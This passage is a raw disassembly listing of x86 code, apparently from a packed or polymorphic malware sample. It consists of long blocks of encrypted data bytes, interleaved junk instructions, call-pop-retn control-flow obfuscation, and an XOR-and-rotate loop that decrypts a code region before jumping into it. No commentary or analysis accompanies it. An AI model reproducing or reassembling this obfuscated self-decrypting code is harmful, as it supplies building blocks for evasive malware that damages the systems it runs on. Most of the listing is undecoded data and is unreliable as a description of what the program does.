		dd 44810424h, 160424h, 56460000h, 27BAA7C3h, 9D8901FEh
		dd 7D11DD9h, 1C35BD83h,	0F0107D1h, 385h, 38DA8000h, 0BD89C08Bh
		dd 7D10C15h, 3405BD83h,	750007D1h, 49BD8309h, 7D128h, 53501A74h
		dd 858BC08Bh, 7D113D5h,	13D58589h, 9D8D07D1h, 7D3E1B0h
		dd 585BD3FFh, 2849BD83h, 740007D1h, 8B535018h, 0D113D585h
		dd 0D5858907h, 8D07D113h, 0D3DE9F9Dh, 5BD3FF07h, 0FD38B58h
		dd 8BF8D9B7h, 9D0953C0h, 7D11C0Dh, 1BD835Bh, 7D123h, 2B850Fh
		dd 8D0F0000h, 10h, 0BE9h, 0D3E94100h, 0EA2512D2h, 43A380Bh
		dd 1129BD83h, 0F0007D1h, 884h, 89DA8B00h, 0D131C59Dh, 1BD8307h
		dd 7D123h, 56840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 150424h, 52420000h, 8B7940C3h, 61BD83D8h
		dd 7D107h, 2A840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0C8B439C3h, 0E2636E35h
		dd 958B611Ch, 7D12A01h,	2301BD83h, 0F0007D1h, 1C84h, 89858900h
		dd 8307D118h, 0D10761BDh, 840F0007h, 9,	3DEBF0Fh, 0D1317995h
		dd 1BD8307h, 7D123h, 25840Fh, 880F0000h, 0Ch, 68A0Fh, 0B5890000h
		dd 7D13119h, 579BD83h, 0F0007D1h, 684h,	419D8B00h, 8307D128h
		dd 0D12301BDh, 840F0007h, 28h, 1ABDBD83h, 0F0007D1h, 1B84h
		dd 3800F00h, 80000000h,	952B06F3h, 7D13441h, 104D95FFh
		dd 9D8B07D1h, 7D100A5h,	0F18AC08Bh, 3405BD83h, 750007D1h
		dd 49BD8309h, 7D128h, 53501A74h, 858BC08Bh, 7D12011h, 20118589h
		dd 9D8D07D1h, 7D3E217h,	585BD3FFh, 2849BD83h, 740007D1h
		dd 8B535018h, 0D1201185h, 11858907h, 8D07D120h,	0D3DEB89Dh
		dd 5BD3FF07h, 0D98D3158h, 0B607D131h, 29C08BBDh, 0D11BBD9Dh
		dd 1BD8307h, 7D123h, 54C840Fh, 8C0F0000h, 6, 7C1B501h
		dd 816607D1h, 834DB0C2h, 0D10875BDh, 840F0207h,	5Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0F3C35040h, 25158589h
		dd 0BD8307D1h, 7D133B5h, 2C850F01h, 0F000000h, 68Ch, 91958900h
		dd 0E807D12Bh, 14h, 0ED3C3A80h,	842DE3A1h, 654EF3C2h, 14CB4027h
		dd 116916Ch, 1AAD9503h,	605A07D1h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 2AC35242h, 13229E77h, 0BE8F7h
		dd 4B3B0000h, 0A01B9070h, 0B3EB1A15h, 11E928h, 8E7E0000h
		dd 20DEEC21h, 951F952Ch, 0B9C48100h, 5A9FBF4Dh,	4CA08D8Bh
		dd 6A07D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0D91F29C3h, 60ADFD2Bh, 8917660Ch,	0D1322585h
		dd 6A01FE07h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 7FDEC351h, 8D0FC981h, 18h, 13E9h
		dd 0A06DEC00h, 0D4781477h, 4E0D516Ch, 8F52941Fh, 0B1803C9Fh
		dd 11E9h, 0D4B22100h, 4CAB04FEh, 913F1D6Ah, 7BDBBB07h
		dd 4E8FD26h, 80000000h,	0B7000000h, 0F88A5030h,	424448Bh
		dd 8BD7B3h, 10E8h, 3BE38700h, 0D1744846h, 0A20C5CF7h, 71DF4B38h
		dd 0E9525092h, 7, 8AC75DD3h, 0F49984Ah,	5A585A31h, 4244489h
		dd 13E8h, 0EDEC5E00h, 0DDDB0591h, 0CCC44E90h, 0E8F6AF7Fh
		dd 18FE8083h, 585BDA8Ah, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 17C35545h, 4D5B04AEh,	89E2A9D9h, 0D11BC1BDh
		dd 66FF6A07h, 1424DA81h, 32E995FFh, 958B07D1h, 7D12039h
		dd 57006A61h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 94390CE9h, 0D7AFBB84h, 0BD8D7333h, 7D11D71h
		dd 0AE8h, 0E5AE6600h, 4975B208h, 8B9CFC09h, 0D1184595h
		dd 840F5A07h, 1Fh, 13E8h, 0BD225800h, 1AAA4B25h, 23DA2F8Ah
		dd 575DE391h, 58B09276h, 21919523h, 8B5B07D1h, 6A1C4Fh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 784922C3h, 62E7B133h, 0F8FAC780h, 8152016Ah,	0E1EAF2C3h
		dd 0B6505B18h, 240C8953h, 0CE8h, 0EA13A700h, 0E8E12989h
		dd 71B8B6C4h, 5AC5B715h, 6EC0858Dh, 958907D4h, 7D13119h
		dd 28719D29h, 0D0FF07D1h, 4F8BD38Bh, 52006A20h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 68583492h
		dd 6A036A92h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 50D9C355h, 12E9h, 0D093DF00h
		dd 1542944Fh, 79CD3804h, 977FB8Ch, 89C99F82h, 6A240Ch
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0DFDD18C3h, 4B518213h, 6EC0858Dh, 6A07D4h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 824AB4C3h
		dd 9E79EA2h, 53E23992h,	0F056DB81h
		dd 895B2E4Ah, 0D11605B5h, 80D0FF07h, 0B589BED2h, 7D11E9Dh
		dd 1D71BD8Dh, 0BD8907D1h, 7D115D9h, 6A1C4F8Bh, 0FE801h
		dd 0ABBE0000h, 0EB75848Eh, 0BE425FE4h, 8D741473h, 83BA66E4h
		dd 0B2505A01h, 240C89A5h, 0C3EA8166h, 0C0858D34h, 6A07D46Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 9C17C352h, 244D958Bh, 0D0FF07D1h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0B6C35545h, 0F99D8BE7h
		dd 8907D122h, 0D12D458Dh, 204F8B07h, 18D28166h,	34F680BFh
		dd 0B70F036Ah, 0BA5391D1h, 4A143C52h, 0E953505Ah, 0Fh
		dd 0DA80BFA8h, 1B9CDBBEh, 7C4062DCh, 5AF1AEBAh,	96C28191h
		dd 8D2B4BAAh, 0D46EC085h, 9D8B5307h, 7D12189h, 8BD0FF5Bh
		dd 0D120859Dh, 0A08D8B07h, 6A07D14Ch, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 7336C350h
		dd 8B2CFE2Ch, 0FEF7B7DEh, 18850F01h, 0E9000000h, 13h, 53FEDDF1h
		dd 0C2A27EA8h, 0D17EC9F1h, 46A8EB59h, 8BA26CEFh, 0D14CA085h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 6600FEBBh, 0D2D9D381h, 6A016Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 2FD59DC3h, 6647733Fh, 689CACBBh, 0EB40FC01h,	4890Fh
		dd 8B600000h, 348161FBh, 0BF63FE24h, 0E59D8B14h, 8B07D126h
		dd 0D1002995h, 0CA858D07h, 0E807D46Eh, 11h, 0D0E3AEBCh
		dd 80FE38BFh, 0A40182E3h, 0CB96FDAAh, 15B58992h, 5B07D129h
		dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 890B01C3h, 0D78B6628h, 58BB6651h,	0BD835B8Ch
		dd 7D11129h, 9A840F00h,	89000000h, 0D1270DBDh, 15BD8307h
		dd 107D117h, 87850Fh, 0C6800000h, 0D48D8D79h, 6A07D46Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 8922C355h, 0D103D59Dh, 8B036A07h,	0D106BD9Dh
		dd 81016A07h, 0EE5793F3h, 6AD1FF37h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 47F3C353h
		dd 0B3AC7D82h, 8589016Ah, 7D11935h, 34499529h, 16A07D1h
		dd 60D1FFFCh, 0ECE88166h, 69BF66C8h, 0D5E86107h, 8BF88A6Fh
		dd 0D120099Dh, 8B206A07h, 0D11B8D95h, 0BAFF6A07h, 0FF055C1h
		dd 32E995FFh, 0EF8007D1h, 0B8B3h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0C00BEEC3h
		dd 86840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0B052E7C3h, 0AE658F98h, 9D8B56EAh
		dd 7D131E5h, 299D8B5Bh,	8307D10Ch, 0D11DE1BDh, 840F0007h
		dd 48h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h
		dd 0CC35343h, 64BB4ED0h, 0FF626794h, 0D11B8195h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 51C2803Bh, 1E25858Bh, 0B50107D1h, 7D11541h, 890000C6h
		dd 0D103A58Dh, 0BA665807h, 8C666127h, 0C1F6FCD9h, 2C840F04h
		dd 1000000h, 0D1152595h, 21E907h, 0E6800000h, 15B58BBEh
		dd 8B07D109h, 0D1188195h, 80C68107h, 0C7000011h, 6, 9BE28100h
		dd 5E18369Eh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	64C35646h, 7CBB6E40h, 833EB4D2h, 840F00F8h, 0BF3h
		dd 1ED1958Bh, 0B58907D1h, 7D11C29h, 0F01F883h, 1C485h
		dd 0D08B6600h, 33070FBAh, 0B83Dh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 30EAA8C3h
		dd 29D1CDEh, 0FC00B9Dh,	11E84h,	3BCA8000h, 0F01F883h, 15F84h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 85096AD8h, 7D10749h, 10258D89h, 0F88307D1h
		dd 46840F03h, 8B000000h, 0B8D1h, 0BA660000h, 0BD8D010Fh
		dd 5B89E0h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 16h,	7DC35343h, 840FEAD8h, 3, 81D88B66h, 59F582EAh
		dd 33E7FF29h, 0D114359Dh, 1B807h, 0E8560000h, 14h, 0D448A6BEh
		dd 67384E7Ch, 0EFE05D82h, 199376E6h, 0ABC20CFCh, 5B5A24B6h
		dd 89E0BD8Dh, 6A005Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 361445C3h, 26EA8E39h, 9CA2BA66h
		dd 208C0Fh, 14E80000h, 0A7000000h, 4D570A3Bh, 0D988099Dh
		dd 0D7FB2C9Eh, 0E26888E2h, 8B890FA3h, 0D1152D9Dh, 0E7FF5B07h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0DEC35242h
		dd 0B8BB944Ah, 8D38141Ah, 0D1432CBDh, 68B0F07h,	0B000000h
		dd 0D103C995h, 2F7E907h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 9B9283C3h, 0B643CEE8h
		dd 858991BDh, 7D113A1h,	6810Fh,	0D2810000h, 376032C7h
		dd 4CFB85C7h, 507D1h, 5B80000h,	0B2000000h, 0C2816637h
		dd 59E958C3h, 89000009h, 0D124859Dh, 2F88307h, 120850Fh
		dd 0BF0F0000h, 0B8D0h, 880F0000h, 6, 13658589h,	0C00B07D1h
		dd 0D3840Fh, 9D890000h,	7D11051h, 0F01F883h, 0FFFFAB84h
		dd 1E8F0FFFh, 0E8000000h, 12h, 0A3AE7CB4h, 0F421063Bh
		dd 0DC61B76Bh, 438974E0h, 8D891B9Bh, 7D10C6Dh, 3F8835Ah
		dd 0FE97840Fh, 6AFFFFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 3FEFEFC3h, 3DF16E33h, 0B6DF8BE0h
		dd 0C381663Fh, 0B8F96Ch, 52000000h, 0CBD958Bh, 8D5B07D1h
		dd 5B89E0BDh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0D2CC493Eh, 10B764E5h, 6AE7FFh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0E8D2E6C3h, 0Ah, 0F7488F45h,	0AE5B4F7Dh, 85899AC0h
		dd 7D10089h, 24BD8D5Bh,	6607D145h, 9AE9D38Bh, 6A000001h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 6D00C353h, 2111BD31h, 0F88307D1h,	55850F03h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0DFCC350h, 2D9D8B4Bh, 6607D12Ah
		dd 4C18F281h, 46B8BD8Dh, 816607D1h, 0E9ECA9DBh,	135h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 8DC35646h, 0F05F883h
		dd 1185h, 71958B00h, 0E907D10Fh, 7B8h, 1F5958Bh, 0F88307D1h
		dd 5E850F06h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 5EBCC357h, 0BB5662A2h
		dd 1FCCA38h, 0D1109D8Dh, 0B0BD8D07h, 8907D148h,	0D10C4D85h
		dd 0BBE907h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0D79534C3h, 86C7198Ch, 7F8833Bh
		dd 47850Fh, 13E90000h, 61000000h, 93194065h, 823C32Ah
		dd 7CFB0390h, 6553B127h, 0BD8D852Ah, 7D10CCDh, 8F0F6052h
		dd 0
; ---------------------------------------------------------------------------
		popa
		pop	edx
		jmp	loc_58D3C9
; ---------------------------------------------------------------------------
		jl	loc_58D26D
		jmp	loc_58D26D
; ---------------------------------------------------------------------------
		dw 46E9h
		dd 0F72CDADEh, 4CB0E651h, 39CC9EF9h
		db 0D4h
; ---------------------------------------------------------------------------


loc_58D26D:				; CODE XREF: sub_58A891+29C2j
					; sub_58A891+29C8j
		cmp	eax, 0Ah
		jnz	loc_58D2B5
		movsx	ebx, dx
		lea	edi, [ebp+7D14AA8h]
		push	0
		push	ecx
		call	loc_58D28A
		and	[ecx-3Dh], bl


loc_58D28A:				; CODE XREF: sub_58A891+29F1p
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 1Ah
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		db 0CCh
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		imul	byte ptr [edx]
		enter	36DBh, 80h
		retf
; ---------------------------------------------------------------------------
		db 8Eh
; ---------------------------------------------------------------------------
		mov	[ebp+7D130C1h],	eax
		jmp	loc_58D2B5
; ---------------------------------------------------------------------------
		or	edx, 689138F1h


loc_58D2B5:				; CODE XREF: sub_58A891+29DFj
					; sub_58A891+2A19j
		push	edi
		mov	dl, 77h
		mov	ecx, 5C46B9Bh
		push	0
		push	ecx
		call	loc_58D2C8
		and	[ecx-3Dh], bl


loc_58D2C8:				; CODE XREF: sub_58A891+2A2Fp
		pop	ecx
		mov	[esp-1Ah+arg_18+2], ecx
		add	[esp-1Ah+arg_18+2], 1Ch
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		dd 37A17998h, 3A43B276h, 0C5B5899Dh, 8307D11Ah,	840F003Fh
		dd 0D2h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0BBC35747h, 0EC5763F9h,	78BA66B4h, 94DE8034h, 6A0F30h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 2323CCC3h, 8E9h, 65A23300h, 0E49AD743h, 6AC9D1ECh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 3D82C351h, 0CE6D3AB3h, 62B6A66Eh, 50006A47h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0E81233C3h
		dd 0Ch,	0A9C94280h, 51C64572h, 8A60FB07h, 2879C281h, 315A5C8Bh
		dd 0D12961B5h, 0FF39E907h, 0E952FFFFh, 0Dh, 8E6B8D85h
		dd 999F5244h, 5EC1C252h, 295F5BADh, 0D1004D9Dh
; ---------------------------------------------------------------------------
		pop	es


loc_58D3C9:				; CODE XREF: sub_58A891+29BDj
		mov	[ebp+7D14CA4h],	edi
		push	0
		push	eax
		call	loc_58D3DA
		and	[eax-3Dh], bl


loc_58D3DA:				; CODE XREF: sub_58A891+2B41p
		pop	eax
		mov	[esp+4], eax
		add	dword ptr [esp+4], 19h
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		sub	cl, 0DEh
		wait
		adc	al, 0BCh
		jmp	loc_58D401
; ---------------------------------------------------------------------------
		db 66h,	28h, 0A9h
; ---------------------------------------------------------------------------
		mov	ds:0D824101Ch, eax
		jmp	short loc_58D478
; ---------------------------------------------------------------------------
		db 82h
; ---------------------------------------------------------------------------
		scasd


loc_58D401:				; CODE XREF: sub_58A891+2B5Fj
		mov	dx, 0A5CBh
		lea	ecx, [ebp+7D12621h]
		push	edi
		mov	edx, [ebp+7D113FDh]
		pop	edx
		jmp	loc_58D420
; ---------------------------------------------------------------------------
		dd 0E033791Ah, 0FAB89965h
; ---------------------------------------------------------------------------


loc_58D420:				; CODE XREF: sub_58A891+2B82j
		push	dword ptr [ebp+7D13091h]
		sub	[ebp+7D122C9h],	eax
		lea	eax, [ebp+7D3D40Fh]
		push	eax
		lea	edi, [ebp+7D1536Bh]
		lea	ecx, [ebp+7D16E08h]
		mov	eax, 54831ABCh
		sub	ecx, edi


loc_58D446:				; CODE XREF: sub_58A891+2BBBj
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_58D446
		lea	esi, [ebp+7D16D84h]
		lea	ecx, [ebp+7D16E20h]
		sub	ecx, edi
		rep movsb
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	short loc_58D4AF
		cmp	dword ptr [ebp+7D11DE1h], 0
		jz	short loc_58D478
		call	dword ptr [ebp+7D11B81h]


loc_58D478:				; CODE XREF: sub_58A891+2B6Cj
					; sub_58A891+2BDFj
		mov	esi, [ebp+7D14CA4h]
		lea	eax, [ebp+7D3D40Fh]
		call	eax
		lea	eax, [ebp+7D142B8h]
		call	eax
		mov	dword ptr [ebp+7D122EDh], 1
		mov	esp, [ebp+7D1234Dh]
		mov	esi, [ebp+7D13221h]
		mov	ebp, [ebp+7D12B71h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_58D4AF:				; CODE XREF: sub_58A891+2BD6j
		mov	[ebp+7D11CD5h],	edx
		mov	edx, [ebp+7D122C1h]
		cmp	dword ptr [ebp+7D133D5h], 0
		jz	loc_58D4FF
		jz	loc_58D4D4
		mov	[ebp+7D11BF9h],	esi


loc_58D4D4:				; CODE XREF: sub_58A891+2C37j
		call	dword ptr [ebp+7D13301h]
		push	0
		push	ebx
		call	loc_58D4E5
		and	[ebx-3Dh], bl


loc_58D4E5:				; CODE XREF: sub_58A891+2C4Cp
		pop	ebx
		mov	[esp-12h+arg_E], ebx
		add	[esp-12h+arg_E], 1Dh
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 84h,	50h, 0E7h
		dd 17EAB91Bh
		db 5, 1, 0C5h
; ---------------------------------------------------------------------------


loc_58D4FF:				; CODE XREF: sub_58A891+2C31j
		cmp	dword ptr [ebp+7D12E45h], 0
		jnz	loc_58D6CF
		mov	bx, 0FEDAh
		cmp	dword ptr [ebp+7D11715h], 1
		jnz	loc_58D6CF
		push	edx
		sbb	bx, 3D20h
		pop	ebx
		cmp	dword ptr [ebp+7D13149h], 0
		jz	loc_58D6CF
		push	0
		push	edx
		call	loc_58D53C
		and	[edx-3Dh], bl


loc_58D53C:				; CODE XREF: sub_58A891+2CA3p
		pop	edx
		mov	[esp-12h+arg_E], edx
		add	[esp-12h+arg_E], 15h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		dd 0BD83066Bh, 7D14CF7h, 74840F00h, 8B000001h, 13E9D9h
		dd 0FEA10000h, 4C68524Fh, 4E647691h, 1C134150h,	8260CA0h
		dd 0F858D3Dh, 0FC07D3D4h, 4CA4B58Bh, 6A07D1h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 5ADEC6C3h
		dd 0B7AA46FDh, 324DBD89h, 0D0FF07D1h, 0E2CA8166h, 0B585C683h
		dd 5407D131h, 17918D89h, 4E807D1h, 0F4000000h, 0B3FF4EBEh
		dd 14E8502Ch, 0EB000000h, 2FA62FC6h, 0D581D386h, 1C3671BBh
		dd 9AF01375h, 0E88DDFF7h, 14h, 66995B00h, 73A8D9Ah, 36998BDAh
		dd 4F20B774h, 0F14443E4h, 310F5250h, 5A5A585Ah,	424448Bh
		dd 8BD78Bh, 4489DF8Bh, 820F0424h, 0
; ---------------------------------------------------------------------------
		pop	eax
		push	0
		push	ecx
		call	loc_58D624
		and	[ecx-3Dh], bl


loc_58D624:				; CODE XREF: sub_58A891+2D8Bp
		pop	ecx
		mov	[esp-14h+arg_E+2], ecx
		add	[esp-14h+arg_E+2], 15h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		dd 958B9074h, 7D12ED1h,	1CC9B5FFh, 9D8B07D1h, 7D1291Dh
		dd 3B01858Dh, 6A07D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 20A198C3h, 8FBA6652h, 0D0FF5A87h
		dd 6A20B6h, 0FF6ADF8Bh,	3E96BA66h, 0D78BD0FFh, 1981B5FFh
		dd 830F07D1h, 6, 28919589h, 95FF07D1h, 7D13091h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 59C35343h, 8712B43Bh
		dd 6081B910h, 958B4EB5h, 7D10F39h, 15858961h
; ---------------------------------------------------------------------------
		das
		rol	dword ptr [edi], 1


loc_58D6CF:				; CODE XREF: sub_58A891+2C75j
					; sub_58A891+2C86j ...
		mov	esi, [ebp+7D14CA4h]
		mov	[ebp+7D11D4Dh],	ebx
		retn
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	loc_58D6E7
		and	[ebp-3Dh], bl


loc_58D6E7:				; CODE XREF: sub_58A891+2E4Ep
		pop	ebp
		mov	[esp-12h+arg_E], ebp
		add	[esp-12h+arg_E], 18h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		mov	ds:0B9CBD3F0h, al
		mov	[ebp+7D12FA5h],	eax
		mov	esi, [ebp+7D11E25h]
		sub	dl, 53h
		or	esi, esi
		jz	loc_58D744
		push	0
		push	ecx
		call	loc_58D71E
		and	[ecx-3Dh], bl


loc_58D71E:				; CODE XREF: sub_58A891+2E85p
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 18h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		or	[ebp+0Fh], ecx
		xchg	eax, ebx
		rcl	byte ptr [edi-77h], 9Dh
		leave
		push	es
		rol	dword ptr [edi], 1
		pop	ebx
		sub	[ebp+7D118E9h],	ecx
		mov	byte ptr [esi],	0


loc_58D744:				; CODE XREF: sub_58A891+2E7Cj
		mov	[ebp+7D14CACh],	eax
		xor	[ebp+7D13139h],	eax
		cmp	eax, 0
		jz	loc_58DA2F	; CODE XREF: sub_58A891+2F37j
		sub	[ebp+7D10C75h],	ecx
		mov	eax, 0
		adc	edx, 5F73D28Ah
		cmp	eax, 0
		jz	loc_58D82F
		push	ebx
		mov	[ebp+7D11A05h],	edi
		pop	edx
		xor	ebx, 1055B938h
		cmp	eax, 2
		jnz	loc_58D804
		jz	loc_58D796
		mov	ebx, [ebp+7D12B35h]


loc_58D796:				; CODE XREF: sub_58A891+2EF9j
		lea	eax, [ebp+7D14327h]
		mov	bx, dx
		sub	eax, 929h
		jmp	loc_58D7BD
; ---------------------------------------------------------------------------
		db 1Ah,	0ADh, 87h
		dd 0D650C75h, 111E629Ah, 0D0C869A6h, 9F4491AAh
		db 5Bh
; ---------------------------------------------------------------------------


loc_58D7BD:				; CODE XREF: sub_58A891+2F13j
		call	near ptr loc_58D7C8+1
		popfw
		aam	33h
		in	eax, dx
		pop	esi


loc_58D7C8:				; CODE XREF: sub_58A891:loc_58D7BDp
		loope	near ptr loc_58D753+2
		popf
		db	65h
		sub	eax, 905B07D1h
		call	near ptr loc_58D7DC+1
		les	esp, [eax-3]
		add	al, 0E0h
		int	3		; Trap to Debugger


loc_58D7DC:				; CODE XREF: sub_58A891+2F40p
		fisttp	dword ptr [edi]
		mov	word ptr [ebx],	es
; ---------------------------------------------------------------------------
		dd 66000000h, 505AD88Bh, 0CDEF39BBh, 8B669012h,	0DE9C3DFh
		dd 0E3000000h, 1C5F9E8Ah, 10A8054Ch, 0F51CB6B0h
; ---------------------------------------------------------------------------


loc_58D804:				; CODE XREF: sub_58A891+2EF3j
		mov	eax, 0
		mov	ebx, edx
		jmp	loc_58DA2F
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	loc_58D81B
		and	[ebp-3Dh], bl


loc_58D81B:				; CODE XREF: sub_58A891+2F82p
		pop	ebp
		mov	[esp-2Ah+arg_26], ebp
		add	[esp-2Ah+arg_26], 17h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		dec	esi
		ror	dword ptr [ecx], cl
		push	ss


loc_58D82F:				; CODE XREF: sub_58A891+2EDCj
		mov	eax, 1
		mov	ebx, [ebp+7D121DDh]
		lea	edi, [ebp+7D1432Ch]
		sub	dl, 0Fh
		jmp	loc_58D8FA
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	loc_58D853
		and	[edx-3Dh], bl


loc_58D853:				; CODE XREF: sub_58A891+2FBAp
		pop	edx
		mov	[esp+4], edx
		add	dword ptr [esp+4], 16h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		db 5Dh
		dd 6E9A5BAh, 1F000000h,	8DE13461h, 2F8830Fh, 40850Fh, 0B5290000h
		dd 7D12D01h, 4524BD8Dh,	6A07D1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0AF3A65C3h, 5AD6B23Bh
		dd 0D9D8B05h, 0E907D125h, 46h, 1D2D9D89h, 0F88307D1h, 22850F03h
		dd 66000000h, 8D6DCFBAh, 0D146B8BDh, 3890F07h, 66000000h
		dd 1FE9D78Bh, 0E9000000h, 5, 0DD1F8D71h, 5F8830Ch, 0C850Fh
		dd 0D18B0000h, 73E9h, 0E3816600h
; ---------------------------------------------------------------------------
		xchg	eax, esi
		dec	esi


loc_58D8FA:				; CODE XREF: sub_58A891+2FB2j
		push	edi
		push	0
		push	esi
		call	loc_58D906
		and	[esi-3Dh], bl


loc_58D906:				; CODE XREF: sub_58A891+306Dp
		pop	esi
		mov	[esp-20h+arg_1C], esi
		add	[esp-20h+arg_1C], 17h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		dw 1182h
		dd 8589FC22h, 7D10C45h,	0C46B9BB9h, 839DB705h, 840F003Fh
		dd 38h,	0CE8F860h, 0A1000000h, 82008065h, 4D9AA630h, 8B7AE022h
		dd 0D114199Dh, 0BB615E07h, 79C5F4A6h, 0BF0F0F30h, 66C9D1D3h
		dd 1BC7E281h, 0FFC5E947h, 0BD89FFFFh, 7D10C99h,	0F05F883h
		dd 0BE85h, 0C8F0F00h, 0F000000h, 68Dh, 9958900h, 6607D12Ch
		dd 8166D98Ch, 0F605F3D3h, 850F04C1h, 59h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ch, 0EEC35040h, 5C042912h
		dd 0DB92C34Bh, 346CBA66h, 20199533h, 0B807D1h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 8F5DC352h, 44E95850h, 0B7000000h,	0C9858B33h
		dd 6A07D133h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 13DC356h, 0FCD4C8CDh, 0D7BB66B9h
		dd 9589509Dh, 7D12A05h,	0FE0FF5Ah, 685h, 719D8B00h
; ---------------------------------------------------------------------------
		sbb	edx, ecx
		pop	es


loc_58DA2F:				; CODE XREF: sub_58A891:loc_58D753j
					; sub_58A891+2F7Aj
		cmp	dword ptr [ebp+7D13091h], 0
		jnz	loc_58DB43
		push	0
		push	esi
		call	loc_58DA47
		and	[esi-3Dh], bl


loc_58DA47:				; CODE XREF: sub_58A891+31AEp
		pop	esi
		mov	[esp-22h+arg_1C+2], esi
		add	[esp-22h+arg_1C+2], 19h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		db 3Dh
; ---------------------------------------------------------------------------
		sbb	al, 0AAh
		and	eax, 8D89E232h
		aad	1Ah
		rol	dword ptr [edi], 1
		push	eax
